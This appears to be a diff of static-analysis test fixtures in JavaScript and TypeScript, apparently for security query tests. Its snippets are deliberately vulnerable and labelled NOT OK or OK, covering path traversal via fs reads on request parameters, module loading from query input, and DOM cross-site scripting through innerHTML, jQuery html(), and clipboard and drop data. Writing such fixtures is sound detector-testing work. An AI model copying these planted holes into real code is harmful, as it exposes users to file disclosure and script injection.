cspawn('cat', ['foo/bar'], (err, out) => {console.log(out)}); // NOT OK
|
||||
cspawn('cat', ['foo/bar']); // NOT OK
|
||||
cspawn('cat', (err, out) => {console.log(out)}); // OK
|
||||
cspawn('cat', { encoding: 'utf8' }); // OK
|
||||
|
||||
let myResult = cspawn.sync('cat', ['foo/bar']); // NOT OK
|
||||
let myResult = cspawn.sync('cat', ['foo/bar'], { encoding: 'utf8' }); // NOT OK
|
||||
|
||||
var execmod = require('exec');
|
||||
execmod("cat foo/bar", (err, out) => {console.log(out)}); // NOT OK
|
||||
execmod("cat foo/bar", {encoding: 'utf8'}); // NOT OK
|
||||
execmod("cat foo/bar", {encoding: 'utf8'}, (err, out) => {console.log(out)}); // NOT OK
|
||||
|
||||
|
||||
@@ -193,4 +193,23 @@ var server = http.createServer(function(req, res) {
|
||||
|
||||
res.write(fs.readFileSync("prefix" + path.replace(/^(\.\.[\/\\])+/, ''))); // NOT OK - not normalized
|
||||
res.write(fs.readFileSync(pathModule.normalize(path).replace(/^(\.\.[\/\\])+/, ''))); // NOT OK (can be absolute)
|
||||
});
|
||||
});
|
||||
|
||||
import normalizeUrl from 'normalize-url';
|
||||
|
||||
var server = http.createServer(function(req, res) {
|
||||
// tests for a few more uri-libraries
|
||||
const qs = require("qs");
|
||||
res.write(fs.readFileSync(qs.parse(req.url).foo)); // NOT OK
|
||||
res.write(fs.readFileSync(qs.parse(normalizeUrl(req.url)).foo)); // NOT OK
|
||||
const parseqs = require("parseqs");
|
||||
res.write(fs.readFileSync(parseqs.decode(req.url).foo)); // NOT OK
|
||||
});
|
||||
|
||||
const cp = require("child_process");
|
||||
var server = http.createServer(function(req, res) {
|
||||
let path = url.parse(req.url, true).query.path;
|
||||
cp.execSync("foobar", {cwd: path}); // NOT OK
|
||||
cp.execFileSync("foobar", ["args"], {cwd: path}); // NOT OK
|
||||
cp.execFileSync("foobar", {cwd: path}); // NOT OK
|
||||
});
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
var express = require("express"),
|
||||
fileUpload = require("express-fileupload");
|
||||
|
||||
let app = express();
|
||||
app.use(fileUpload());
|
||||
|
||||
app.get("/some/path", function (req, res) {
|
||||
req.files.foo.mv(req.query.bar);
|
||||
});
|
||||
@@ -0,0 +1,52 @@
|
||||
const express = require('express');
|
||||
const hb = require("handlebars");
|
||||
const fs = require("fs");
|
||||
|
||||
const app = express();
|
||||
|
||||
const data = {};
|
||||
|
||||
function init() {
|
||||
hb.registerHelper("catFile", function catFile(filePath) {
|
||||
return fs.readFileSync(filePath); // SINK (reads file)
|
||||
});
|
||||
hb.registerHelper("prependToLines", function prependToLines(prefix, filePath) {
|
||||
return fs
|
||||
.readFileSync(filePath)
|
||||
.split("\n")
|
||||
.map((line) => prefix + line)
|
||||
.join("\n");
|
||||
});
|
||||
data.compiledFileAccess = hb.compile("contents of file {{path}} are: {{catFile path}}")
|
||||
data.compiledBenign = hb.compile("hello, {{name}}");
|
||||
data.compiledUnknown = hb.compile(fs.readFileSync("greeting.template"));
|
||||
data.compiledMixed = hb.compile("helpers may have several args, like here: {{prependToLines prefix path}}");
|
||||
}
|
||||
|
||||
init();
|
||||
|
||||
app.get('/some/path1', function (req, res) {
|
||||
res.send(data.compiledFileAccess({ path: req.params.path })); // NOT ALLOWED (template uses vulnerable catFile)
|
||||
});
|
||||
|
||||
app.get('/some/path2', function (req, res) {
|
||||
res.send(data.compiledBenign({ name: req.params.name })); // ALLOWED (this template does not use catFile)
|
||||
});
|
||||
|
||||
app.get('/some/path3', function (req, res) {
|
||||
res.send(data.compiledUnknown({ name: req.params.name })); // ALLOWED (could be using a vulnerable helper, but we'll assume it's ok)
|
||||
});
|
||||
|
||||
app.get('/some/path4', function (req, res) {
|
||||
res.send(data.compiledMixed({
|
||||
prefix: ">>> ",
|
||||
path: req.params.path // NOT ALLOWED (template uses vulnerable helper)
|
||||
}));
|
||||
});
|
||||
|
||||
app.get('/some/path5', function (req, res) {
|
||||
res.send(data.compiledMixed({
|
||||
prefix: req.params.prefix, // ALLOWED (this parameter is safe)
|
||||
path: "data/path-5.txt"
|
||||
}));
|
||||
});
|
||||
@@ -370,4 +370,35 @@ app.get('/yet-another-prefix2', (req, res) => {
|
||||
function allowPath(requestPath, rootPath) {
|
||||
return requestPath.indexOf(rootPath) === 0;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
import slash from 'slash';
|
||||
app.get('/slash-stuff', (req, res) => {
|
||||
let path = req.query.path;
|
||||
|
||||
fs.readFileSync(path); // NOT OK
|
||||
|
||||
fs.readFileSync(slash(path)); // NOT OK
|
||||
});
|
||||
|
||||
app.get('/dotdot-regexp', (req, res) => {
|
||||
let path = pathModule.normalize(req.query.x);
|
||||
if (pathModule.isAbsolute(path))
|
||||
return;
|
||||
fs.readFileSync(path); // NOT OK
|
||||
if (!path.match(/\./)) {
|
||||
fs.readFileSync(path); // OK
|
||||
}
|
||||
if (!path.match(/\.\./)) {
|
||||
fs.readFileSync(path); // OK
|
||||
}
|
||||
if (!path.match(/\.\.\//)) {
|
||||
fs.readFileSync(path); // OK
|
||||
}
|
||||
if (!path.match(/\.\.\/foo/)) {
|
||||
fs.readFileSync(path); // NOT OK
|
||||
}
|
||||
if (!path.match(/(\.\.\/|\.\.\\)/)) {
|
||||
fs.readFileSync(path); // OK
|
||||
}
|
||||
});
|
||||
|
||||
@@ -50,4 +50,24 @@ http.createServer(function(req, res) {
|
||||
|
||||
fs.readFileSync(path); // NOT OK
|
||||
asyncFS.readFileSync(path); // NOT OK
|
||||
|
||||
require("pify")(fs.readFileSync)(path); // NOT OK
|
||||
require("pify")(fs).readFileSync(path); // NOT OK
|
||||
|
||||
require('util.promisify')(fs.readFileSync)(path); // NOT OK
|
||||
|
||||
require("thenify")(fs.readFileSync)(path); // NOT OK
|
||||
|
||||
const readPkg = require('read-pkg');
|
||||
var pkg = readPkg.readPackageSync({cwd: path}); // NOT OK
|
||||
var pkgPromise = readPkg.readPackageAsync({cwd: path}); // NOT OK
|
||||
});
|
||||
|
||||
const mkdirp = require("mkdirp");
|
||||
http.createServer(function(req, res) {
|
||||
var path = url.parse(req.url, true).query.path;
|
||||
|
||||
fs.readFileSync(path); // NOT OK
|
||||
mkdirp(path); // NOT OK
|
||||
mkdirp.sync(path); // NOT OK
|
||||
});
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
const express = require('express');
|
||||
const prettier = require("prettier");
|
||||
|
||||
const app = express();
|
||||
app.get('/some/path', function (req, res) {
|
||||
const { p } = req.params;
|
||||
prettier.resolveConfig(p).then((options) => { // NOT OK
|
||||
const formatted = prettier.format("foo", options);
|
||||
});
|
||||
|
||||
prettier.resolveConfig("foo", {config: p}).then((options) => { // NOT OK
|
||||
const formatted = prettier.format("bar", options);
|
||||
});
|
||||
});
|
||||
@@ -32,3 +32,19 @@ var server = http.createServer(function(req, res) {
|
||||
});
|
||||
|
||||
server.listen();
|
||||
|
||||
var nodefs = require('node:fs');
|
||||
|
||||
var server2 = http.createServer(function(req, res) {
|
||||
let path = url.parse(req.url, true).query.path;
|
||||
nodefs.readFileSync(path); // NOT OK
|
||||
});
|
||||
|
||||
server2.listen();
|
||||
|
||||
const chownr = require("chownr");
|
||||
|
||||
var server3 = http.createServer(function (req, res) {
|
||||
let path = url.parse(req.url, true).query.path;
|
||||
chownr(path, "someuid", "somegid", function (err) {}); // NOT OK
|
||||
});
|
||||
|
||||
@@ -6,3 +6,12 @@ app.get('/some/path', function(req, res) {
|
||||
// BAD: loading a module based on un-sanitized query parameters
|
||||
var m = require(req.param("module"));
|
||||
});
|
||||
|
||||
const resolve = require("resolve");
|
||||
app.get('/some/path', function(req, res) {
|
||||
var module = resolve.sync(req.param("module")); // NOT OK - resolving module based on query parameters
|
||||
|
||||
resolve(req.param("module"), { basedir: __dirname }, function(err, res) { // NOT OK - resolving module based on query parameters
|
||||
var module = res;
|
||||
});
|
||||
});
|
||||
@@ -14,4 +14,17 @@ function test() {
|
||||
}
|
||||
|
||||
window.addEventListener("message", foo.bind(null, {data: 'items'}));
|
||||
|
||||
window.onmessage = e => {
|
||||
if (e.origin !== "https://foobar.com") {
|
||||
return;
|
||||
}
|
||||
document.write(e.data); // OK - there is an origin check
|
||||
}
|
||||
|
||||
window.onmessage = e => {
|
||||
if (mySet.includes(e.origin)) {
|
||||
document.write(e.data); // OK - there is an origin check
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -13,4 +13,6 @@ function main() {
|
||||
document.body.innerHTML = `<span class="${safeStyle(window.name)}">Hello<span>`; // NOT OK
|
||||
document.body.innerHTML = `<span class="${safeStyle('foo')}">Hello<span>`; // OK
|
||||
document.body.innerHTML = `<span class="${clsx(window.name)}">Hello<span>`; // NOT OK
|
||||
|
||||
document.body.innerHTML += `<span class="${clsx(window.name)}">Hello<span>`; // NOT OK
|
||||
}
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
$("#foo").on("paste", paste);
|
||||
|
||||
function paste(e) {
|
||||
const { clipboardData } = e.originalEvent;
|
||||
if (!clipboardData) return;
|
||||
|
||||
const text = clipboardData.getData('text/plain');
|
||||
const html = clipboardData.getData('text/html');
|
||||
if (!text && !html) return;
|
||||
|
||||
e.preventDefault();
|
||||
|
||||
const div = document.createElement('div');
|
||||
if (html) {
|
||||
div.innerHTML = html; // NOT OK
|
||||
} else {
|
||||
div.textContent = text;
|
||||
}
|
||||
document.body.append(div);
|
||||
}
|
||||
|
||||
export function install(el: HTMLElement): void {
|
||||
el.addEventListener('paste', (e) => {
|
||||
$("#id").html(e.clipboardData.getData('text/html')); // NOT OK
|
||||
})
|
||||
}
|
||||
|
||||
document.addEventListener('paste', (e) => {
|
||||
$("#id").html(e.clipboardData.getData('text/html')); // NOT OK
|
||||
});
|
||||
|
||||
$("#foo").bind('paste', (e) => {
|
||||
$("#id").html(e.originalEvent.clipboardData.getData('text/html')); // NOT OK
|
||||
});
|
||||
|
||||
(function () {
|
||||
let div = document.createElement("div");
|
||||
div.onpaste = function (e: ClipboardEvent) {
|
||||
const { clipboardData } = e;
|
||||
if (!clipboardData) return;
|
||||
|
||||
const text = clipboardData.getData('text/plain');
|
||||
const html = clipboardData.getData('text/html');
|
||||
if (!text && !html) return;
|
||||
|
||||
e.preventDefault();
|
||||
|
||||
const div = document.createElement('div');
|
||||
if (html) {
|
||||
div.innerHTML = html; // NOT OK
|
||||
} else {
|
||||
div.textContent = text;
|
||||
}
|
||||
document.body.append(div);
|
||||
}
|
||||
})();
|
||||
|
||||
async function getClipboardData(e: ClipboardEvent): Promise<Array<File | string>> {
|
||||
// Using a set to filter out duplicates. For some reason, dropping URLs duplicates them 3 times (for me)
|
||||
const dropItems = new Set<File | string>();
|
||||
|
||||
// First get all files in the drop event
|
||||
if (e.clipboardData.files.length > 0) {
|
||||
// tslint:disable-next-line: prefer-for-of
|
||||
for (let i = 0; i < e.clipboardData.files.length; i++) {
|
||||
const file = e.clipboardData.files[i];
|
||||
}
|
||||
}
|
||||
|
||||
if (e.clipboardData.types.includes('text/html')) {
|
||||
const droppedHtml = e.clipboardData.getData('text/html');
|
||||
const container = document.createElement('html');
|
||||
container.innerHTML = droppedHtml;
|
||||
const imgs = container.getElementsByTagName('img');
|
||||
if (imgs.length === 1) {
|
||||
const src = imgs[0].src;
|
||||
dropItems.add(src);
|
||||
}
|
||||
} else if (e.clipboardData.types.includes('text/plain')) {
|
||||
const plainText = e.clipboardData.getData('text/plain');
|
||||
// Check if text is an URL
|
||||
if (/^https?:\/\//i.test(plainText)) {
|
||||
dropItems.add(plainText);
|
||||
}
|
||||
}
|
||||
|
||||
const imageItems = Array.from(dropItems);
|
||||
return imageItems;
|
||||
}
|
||||
|
||||
// inputevent
|
||||
(function () {
|
||||
let div = document.createElement("div");
|
||||
div.addEventListener("beforeinput", function (e: InputEvent) {
|
||||
const { data, inputType, isComposing, dataTransfer } = e;
|
||||
if (!dataTransfer) return;
|
||||
|
||||
const html = dataTransfer.getData('text/html');
|
||||
$("#id").html(html); // NOT OK
|
||||
});
|
||||
})();
|
||||
@@ -0,0 +1,7 @@
|
||||
import * as dummy from 'dummy';
|
||||
|
||||
class CustomElm extends HTMLElement {
|
||||
test() {
|
||||
this.innerHTML = window.name; // NOT OK
|
||||
}
|
||||
}
|
||||
@@ -16,4 +16,47 @@ function main() {
|
||||
document.body.innerHTML = `Time is ${moment(time).format(taint)}`; // NOT OK
|
||||
document.body.innerHTML = `Time is ${moment(taint).format()}`; // OK
|
||||
document.body.innerHTML = `Time is ${dateformat(time, taint)}`; // NOT OK
|
||||
|
||||
import dayjs from 'dayjs';
|
||||
document.body.innerHTML = `Time is ${dayjs(time).format(taint)}`; // NOT OK
|
||||
}
|
||||
|
||||
import LuxonAdapter from "@date-io/luxon";
|
||||
import DateFnsAdapter from "@date-io/date-fns";
|
||||
import MomentAdapter from "@date-io/moment";
|
||||
import DayJSAdapter from "@date-io/dayjs"
|
||||
|
||||
function dateio() {
|
||||
let taint = decodeURIComponent(window.location.hash.substring(1));
|
||||
|
||||
const dateFns = new DateFnsAdapter();
|
||||
const luxon = new LuxonAdapter();
|
||||
const moment = new MomentAdapter();
|
||||
const dayjs = new DayJSAdapter();
|
||||
|
||||
document.body.innerHTML = `Time is ${dateFns.formatByString(new Date(), taint)}`; // NOT OK
|
||||
document.body.innerHTML = `Time is ${luxon.formatByString(luxon.date(), taint)}`; // NOT OK
|
||||
document.body.innerHTML = `Time is ${moment.formatByString(moment.date(), taint)}`; // NOT OK
|
||||
document.body.innerHTML = `Time is ${dayjs.formatByString(dayjs.date(), taint)}`; // NOT OK
|
||||
}
|
||||
|
||||
import { DateTime } from "luxon";
|
||||
|
||||
function luxon() {
|
||||
let taint = decodeURIComponent(window.location.hash.substring(1));
|
||||
|
||||
document.body.innerHTML = `Time is ${DateTime.now().plus({years: 1}).toFormat(taint)}`; // NOT OK
|
||||
document.body.innerHTML = `Time is ${new DateTime().setLocale('fr').toFormat(taint)}`; // NOT OK
|
||||
document.body.innerHTML = `Time is ${DateTime.fromISO("2020-01-01").startOf('day').toFormat(taint)}`; // NOT OK
|
||||
}
|
||||
|
||||
function dateio2() {
|
||||
let taint = decodeURIComponent(window.location.hash.substring(1));
|
||||
|
||||
const moment = new MomentAdapter();
|
||||
document.body.innerHTML = `Time is ${moment.addDays(moment.date("2020-06-21"), 1).format(taint)}`; // NOT OK
|
||||
const luxon = new LuxonAdapter();
|
||||
document.body.innerHTML = `Time is ${luxon.endOfDay(luxon.date()).toFormat(taint)}`; // NOT OK
|
||||
const dayjs = new DayJSAdapter();
|
||||
document.body.innerHTML = `Time is ${dayjs.setHours(dayjs.date(), 4).format(taint)}`; // NOT OK
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
$("#foo").on("drop", drop);
|
||||
|
||||
function drop(e) {
|
||||
const { dataTransfer } = e.originalEvent;
|
||||
if (!dataTransfer) return;
|
||||
|
||||
const text = dataTransfer.getData('text/plain');
|
||||
const html = dataTransfer.getData('text/html');
|
||||
if (!text && !html) return;
|
||||
|
||||
e.preventDefault();
|
||||
|
||||
const div = document.createElement('div');
|
||||
if (html) {
|
||||
div.innerHTML = html; // NOT OK
|
||||
} else {
|
||||
div.textContent = text;
|
||||
}
|
||||
document.body.append(div);
|
||||
}
|
||||
|
||||
export function install(el: HTMLElement): void {
|
||||
el.addEventListener('drop', (e) => {
|
||||
$("#id").html(e.dataTransfer.getData('text/html')); // NOT OK
|
||||
})
|
||||
}
|
||||
|
||||
document.addEventListener('drop', (e) => {
|
||||
$("#id").html(e.dataTransfer.getData('text/html')); // NOT OK
|
||||
});
|
||||
|
||||
$("#foo").bind('drop', (e) => {
|
||||
$("#id").html(e.originalEvent.dataTransfer.getData('text/html')); // NOT OK
|
||||
});
|
||||
|
||||
(function () {
|
||||
let div = document.createElement("div");
|
||||
div.ondrop = function (e: DragEvent) {
|
||||
const { dataTransfer } = e;
|
||||
if (!dataTransfer) return;
|
||||
|
||||
const text = dataTransfer.getData('text/plain');
|
||||
const html = dataTransfer.getData('text/html');
|
||||
if (!text && !html) return;
|
||||
|
||||
e.preventDefault();
|
||||
|
||||
const div = document.createElement('div');
|
||||
if (html) {
|
||||
div.innerHTML = html; // NOT OK
|
||||
} else {
|
||||
div.textContent = text;
|
||||
}
|
||||
document.body.append(div);
|
||||
}
|
||||
})();
|
||||
|
||||
async function getDropData(e: DragEvent): Promise<Array<File | string>> {
|
||||
// Using a set to filter out duplicates. For some reason, dropping URLs duplicates them 3 times (for me)
|
||||
const dropItems = new Set<File | string>();
|
||||
|
||||
// First get all files in the drop event
|
||||
if (e.dataTransfer.files.length > 0) {
|
||||
// tslint:disable-next-line: prefer-for-of
|
||||
for (let i = 0; i < e.dataTransfer.files.length; i++) {
|
||||
const file = e.dataTransfer.files[i];
|
||||
}
|
||||
}
|
||||
|
||||
if (e.dataTransfer.types.includes('text/html')) {
|
||||
const droppedHtml = e.dataTransfer.getData('text/html');
|
||||
const container = document.createElement('html');
|
||||
container.innerHTML = droppedHtml;
|
||||
const imgs = container.getElementsByTagName('img');
|
||||
if (imgs.length === 1) {
|
||||
const src = imgs[0].src;
|
||||
dropItems.add(src);
|
||||
}
|
||||
} else if (e.dataTransfer.types.includes('text/plain')) {
|
||||
const plainText = e.dataTransfer.getData('text/plain');
|
||||
// Check if text is an URL
|
||||
if (/^https?:\/\//i.test(plainText)) {
|
||||
dropItems.add(plainText);
|
||||
}
|
||||
}
|
||||
|
||||
const imageItems = Array.from(dropItems);
|
||||
return imageItems;
|
||||
}
|
||||
@@ -57,3 +57,13 @@ function Node() {}
|
||||
* @type {Node}
|
||||
*/
|
||||
Node.prototype.parentNode;
|
||||
|
||||
/**
|
||||
* @return {DomObjectStub}
|
||||
*/
|
||||
DomObjectStub.prototype.insertRow = function() {};
|
||||
|
||||
/**
|
||||
* @return {DomObjectStub}
|
||||
*/
|
||||
DomObjectStub.prototype.insertCell = function() {};
|
||||
|
||||
@@ -14,4 +14,22 @@ function test() {
|
||||
elm.innerHTML = decodeURIComponent(window.location.hash); // NOT OK
|
||||
elm.innerHTML = decodeURIComponent(window.location.search); // NOT OK
|
||||
elm.innerHTML = decodeURIComponent(window.location.toString()); // NOT OK
|
||||
|
||||
let hash = window.location.hash;
|
||||
$(hash); // OK - start with '#'
|
||||
|
||||
$(hash.substring(1)); // NOT OK
|
||||
$(hash.substring(1, 10)); // NOT OK
|
||||
$(hash.substr(1)); // NOT OK
|
||||
$(hash.slice(1)); // NOT OK
|
||||
$(hash.substring(0, 10)); // OK
|
||||
|
||||
$(hash.replace('#', '')); // NOT OK
|
||||
$(window.location.search.replace('?', '')); // NOT OK
|
||||
$(hash.replace('!', '')); // OK
|
||||
$(hash.replace('blah', '')); // OK
|
||||
|
||||
$(hash + 'blah'); // OK
|
||||
$('blah' + hash); // OK - does not start with '<'
|
||||
$('<b>' + hash + '</b>'); // NOT OK
|
||||
}
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
(function() {
|
||||
const policy1 = trustedTypes.createPolicy('x', { createHTML: x => x }); // NOT OK
|
||||
policy1.createHTML(window.name);
|
||||
|
||||
const policy2 = trustedTypes.createPolicy('x', { createHTML: x => 'safe' }); // OK
|
||||
policy2.createHTML(window.name);
|
||||
|
||||
const policy3 = trustedTypes.createPolicy('x', { createHTML: x => x }); // OK
|
||||
policy3.createHTML('safe');
|
||||
})();
|
||||
@@ -430,4 +430,63 @@ function nonGlobalSanitizer() {
|
||||
$("#foo").html(target.replace(/<metadata>[\s\S]*<\/metadata>/, '<metadata></metadata>')); // NOT OK
|
||||
|
||||
$("#foo").html(target.replace(/<|>/g, '')); // OK
|
||||
}
|
||||
}
|
||||
|
||||
function mootools(){
|
||||
var source = document.location.search;
|
||||
|
||||
new Element("div"); // OK
|
||||
new Element("div", {text: source}); // OK
|
||||
new Element("div", {html: source}); // NOT OK
|
||||
new Element("div").set("html", source); // NOT OK
|
||||
new Element("div").set({"html": source}); // NOT OK
|
||||
new Element("div").setProperty("html", source); // NOT OK
|
||||
new Element("div").setProperties({"html": source}); // NOT OK
|
||||
new Element("div").appendHtml(source); // NOT OK
|
||||
}
|
||||
|
||||
|
||||
const Convert = require('ansi-to-html');
|
||||
const ansiToHtml = new Convert();
|
||||
|
||||
function ansiToHTML() {
|
||||
var source = document.location.search;
|
||||
|
||||
$("#foo").html(source); // NOT OK
|
||||
$("#foo").html(ansiToHtml.toHtml(source)); // NOT OK
|
||||
}
|
||||
|
||||
function domMethods() {
|
||||
var source = document.location.search;
|
||||
|
||||
let table = document.getElementById('mytable');
|
||||
table.innerHTML = source; // NOT OK
|
||||
let row = table.insertRow(-1);
|
||||
row.innerHTML = source; // NOT OK
|
||||
let cell = row.insertCell();
|
||||
cell.innerHTML = source; // NOT OK
|
||||
}
|
||||
|
||||
function urlStuff() {
|
||||
var url = document.location.search.substr(1);
|
||||
|
||||
$("<a>", {href: url}).appendTo("body"); // NOT OK
|
||||
$("#foo").attr("href", url); // NOT OK
|
||||
$("#foo").attr({href: url}); // NOT OK
|
||||
$("<img>", {src: url}).appendTo("body"); // NOT OK
|
||||
$("<a>", {href: win.location.href}).appendTo("body"); // OK
|
||||
|
||||
$("<img>", {src: "http://google.com/" + url}).appendTo("body"); // OK
|
||||
|
||||
$("<img>", {src: ["http://google.com", url].join("/")}).appendTo("body"); // OK
|
||||
|
||||
if (url.startsWith("https://")) {
|
||||
$("<img>", {src: url}).appendTo("body"); // OK
|
||||
} else {
|
||||
$("<img>", {src: url}).appendTo("body"); // NOT OK
|
||||
}
|
||||
|
||||
window.open(location.hash.substr(1)); // OK - any JavaScript is executed in another context
|
||||
|
||||
navigation.navigate(location.hash.substr(1)); // NOT OK
|
||||
}
|
||||
|
||||
@@ -6,11 +6,19 @@ $(document).ready(function () {
|
||||
xhr.onreadystatechange = function () {
|
||||
if (xhr.readyState !== 4) { return }
|
||||
var json = JSON.parse(xhr.responseText)
|
||||
$("#myThing").html(json.message);
|
||||
$("#myThing").html(json.message); // caught with additional sources
|
||||
}
|
||||
try {
|
||||
xhr.send()
|
||||
} catch (error) {
|
||||
console.log(error)
|
||||
}
|
||||
})
|
||||
});
|
||||
|
||||
$(document).ready(async function () {
|
||||
const got = require('got');
|
||||
const resp = await got.get("{{ some_url }}");
|
||||
const json = JSON.parse(resp.body);
|
||||
$("#myThing").html(json.message); // caught with additional sources
|
||||
|
||||
});
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user